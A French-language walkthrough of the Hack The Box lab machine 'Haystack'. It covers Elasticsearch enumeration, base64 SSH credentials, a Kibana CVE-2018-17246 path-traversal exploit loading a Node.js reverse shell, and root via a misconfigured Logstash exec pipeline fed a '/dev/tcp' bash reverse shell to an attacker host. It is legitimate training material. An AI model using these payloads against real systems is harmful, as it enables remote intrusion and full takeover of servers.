Hack The Box - Haystack

[NO ENGLISH VERSION - Only French is available for this post]

Haystack est une machine Linux catégorisée comme facile et plutôt intéressante, faisant intervenir ELK. L’énumération des endpoints web et des indices permet de récupérer un accès SSH utilisateur tandis que l’exploitation de la CVE-2018-17246 sur le composant Kibana permet de récupérer un accès plus intéressant. Enfin, l’exploitation d’un Logstash mal configuré permet d’élever ses privilèges.

Disclaimer : Il s’agit d’une présentation plutôt rapide qui omet volontairement les différents axes de recherche. Seul les résultats effectifs ainsi qu’une rapide démarche sont présentés.

Découverte

Un rapide scan de ports permet de découvrir les services présents sur la machine.

$ nmap -v -sV -sC -O -p 22,80,9200 -oA scan_nmap 10.10.10.115

Nmap scan report for 10.10.10.115
Host is up (0.042s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
|   256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_  256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
80/tcp   open  http    nginx 1.12.2
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
9200/tcp open  http    nginx 1.12.2
|_http-favicon: Unknown favicon MD5: 6177BFB75B498E0BB356223ED76FFE43
| http-methods: 
|   Supported Methods: HEAD DELETE GET OPTIONS
|_  Potentially risky methods: DELETE
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (application/json; charset=UTF-8).
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.2 - 4.9 (92%), Linux 3.18 (90%), Crestron XPanel control system (90%), Linux 3.16 (89%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.051 days (since Sat Aug 24 22:31:58 2019)
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros

Le port 80 est ouvert et propose une image à l’utilisateur. Quelques recherches sur le fichiers sont effectuées et une base64 est trouvée dans les commentaires de l’image.

$ strings needle.jpg

*Oo!;.o|?>
.n2FrZ
rrNMz
#=pMr
BN2I
,'*'
I$f2/<-iy
bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==
$ echo -n "bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==" | base64 -d
la aguja en el pajar es "clave"% 

Ce qui signifie L'aiguille dans la botte de foin est "la clé".

Le port 9200 est également ouvert. Il s’agit de l’API utilisée par ELK.

name    "iQEYHgS"
cluster_name    "elasticsearch"
cluster_uuid    "pjrX7V_gSFmJY-DxP4tCQg"
version 
number  "6.4.2"
build_flavor    "default"
build_type  "rpm"
build_hash  "04711c2"
build_date  "2018-09-26T13:34:09.098244Z"
build_snapshot  false
lucene_version  "7.4.0"
minimum_wire_compatibility_version  "5.6.0"
minimum_index_compatibility_version "5.0.0"
tagline "You Know, for Search"

Accès SSH - Shell utilisateur

Après quelques lectures sur le fonctionnement de ELK et la présentation des données, on peut effectuer quelques recherches directement via le navigateur afin d’énumérer ce qui est présent.

On commence par énumérer les différents indices (grossièrement, équivalent à des BDD).

http://10.10.10.115:9200/_cat/indices

green  open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0    1 0     4kb     4kb
yellow open quotes  ZG2D1IqkQNiNZmi2HRImnQ 5 1  253 0 262.7kb 262.7kb
yellow open bank    eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb

Il est également possible de les récupérer en affichant l’ensemble des éléments, ainsi que des statistiques sur chacun d’entre eux.

http://10.10.10.115:9200/_all
http://10.10.10.115:9200/_stats

On apprend également qu’il est possible d’effectuer des recherches via le endpoint /quotes/_search?q=x. Ainsi, après quelques tentatives infructueuses, on trouve un enregistrement en utilisant le mot clé “clave” récupéré auparavant.

http://10.10.10.115:9200/quotes/_search?q=clave
    
took    6
timed_out   false
_shards 
total   5
successful  5
skipped 0
failed  0
hits    
total   2
max_score   5.9335938
hits    
0   
_index  "quotes"
_type   "quote"
_id "45"
_score  5.9335938
_source 
quote   "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "
1   
_index  "quotes"
_type   "quote"
_id "111"
_score  5.3459888
_source 
quote   "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="

La traduction des deux phrases en espagnol donne :

"Je dois sauvegarder la clé pour la machine : dXNlcjogc2VjdXJpdHkg"
"Cette clé ne peut pas être perdue, gardez-la ici : cGFzczogc3BhbmlzaC5pcy5rZXk="

Les deux chaines sont en réalités des base64 qui une fois décodées…

$ echo -n "dXNlcjogc2VjdXJpdHkg" | base64 -d
user: security %

$ echo -n "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d
pass: spanish.is.key% 

… Donnent un accès à la machine, et par extension le premier flag.

$ ssh security@10.10.10.115
security@10.10.10.115's password: 
Last login: Tue Sep 24 08:51:21 2019 from 10.10.12.127
[security@haystack ~]$ whoami
security

CVE-2018-17246 - RCE avec Kibana

Vient maintenant une phase de recherche et d’énumération d’informations sur la machine, avec pour objectif principal compromettre le compte root.

Après quelques recherches, on se tourne vers d’éventuelles vulnérabilités liées à ELK et notamment à la CVE-2018-17246 qui pourrait permettre une exécution de commandes. Le dépôt Github suivant permet de comprendre son fonctionnement ainsi que son exploitation : https://github.com/mpgn/CVE-2018-17246

Ayant un premier accès à la machine, on crée un fichier JS dans le répertoire /tmp/shell.js.

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(<LPORT>, "<ATTACKER IP", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

On lance un listener sur notre machine d’attaque, sur le port souhaité : nc -lvvp 6543 Puis on lance l’exploit en local sur la machine.

$ curl "http://127.0.0.1:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../tmp/shell.js"
$ nc -lvvp 6543
listening on [any] 6543 ...
10.10.10.115: inverse host lookup failed: Unknown host
connect to [10.10.13.211] from (UNKNOWN) [10.10.10.115] 45818

whoami
kibana
python -c 'import pty; pty.spawn("/bin/bash")'
bash-4.2$ 

Escalade de Privilèges

Dernière ligne droite, la compromission. On dispose maintenant d’un utilisateur “limité” mais néanmoins utile car ayant accès à des fichiers de configuration.

On peut notamment voir dans le fichier de startup que logstash est lancé avec des droits root.

$ cat /etc/logstash/startup.options

# user and group id to be invoked as
#LS_USER=logstash
#LS_GROUP=logstash
LS_USER=root
LS_GROUP=root

On trouve également des informations très intéressantes dans le répertoire /etc/logstash/conf.d. Des fichiers appartenant à root… Mais accessibles en lecture au groupe kibana.

$ ls -la

drwxrwxr-x. 2 root kibana  62 jun 24 08:12 .
drwxr-xr-x. 3 root root   183 jun 18 22:15 ..
-rw-r-----. 1 root kibana 131 jun 20 10:59 filter.conf
-rw-r-----. 1 root kibana 186 jun 24 08:12 input.conf
-rw-r-----. 1 root kibana 109 jun 24 08:12 output.conf
bash-4.2$ cat filter.conf
cat filter.conf
filter {
    if [type] == "execute" {
        grok {
            match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
        }
    }
}
bash-4.2$ cat input.conf
cat input.conf
input {
    file {
        path => "/opt/kibana/logstash_*"
        start_position => "beginning"
        sincedb_path => "/dev/null"
        stat_interval => "10 second"
        type => "execute"
        mode => "read"
    }
}
bash-4.2$ cat output.conf
cat output.conf
output {
    if [type] == "execute" {
        stdout { codec => json }
        exec {
            command => "%{comando} &"
        }
    }
}

Ok… On se pose quelques minutes (ou dizaines de minutes..) et on analyse tout ça. Avec un peu de recherche, on arrive à comprendre ce qu’il se passe, à savoir :

  • Toutes les 10 sec, le service va lire les fichiers de /opt/kibana/ dont le nom commence par logstash_
  • Un pattern “grok” est utilisé afin de rechercher une chaine précise
  • Si la chaine “Ejecutar\scomando\s:\s+%{GREEDYDATA:comando}” est contenue dans la ligne de log, alors le fichier output.conf lance l’exécution de la commande associée…

Étant donné que le service est lancé en root, les commandes exécutées le seront également. Ok, il reste à construire notre payload. Il est possible de PoC le fonctionnement de l’exploit avec des commandes classiques mais ici je mets directement en place mon reverse shell.

De la même façon, on met en place notre listener.

$ nc -lvvp 6688                               
listening on [any] 6688 ...

Puis on crée un fichier /opt/kibana/logstash_pwn qui contient la chaine correspondant au pattern, permettant d’exécuter notre commande. Il est également possible de tester en ligne différents pattern jusqu’à trouver une chaine correspondante : https://grokconstructor.appspot.com/do/match#result

$ cat /opt/kibana/logstash_pwn
Ejecutar comando : /bin/bash -i >& /dev/tcp/<ATTACKER-IP>/6688 0>&1

Quelques secondes d’attente et…

$ nc -lvvp 6688
listening on [any] 6688 ...
10.10.10.115: inverse host lookup failed: Unknown host
connect to [10.10.13.211] from (UNKNOWN) [10.10.10.115] 47512
bash: no hay control de trabajos en este shell
[root@haystack /]#

w00ted!

Quaoar Virtual Machine - Walkthrough Hack The Box - Jarvis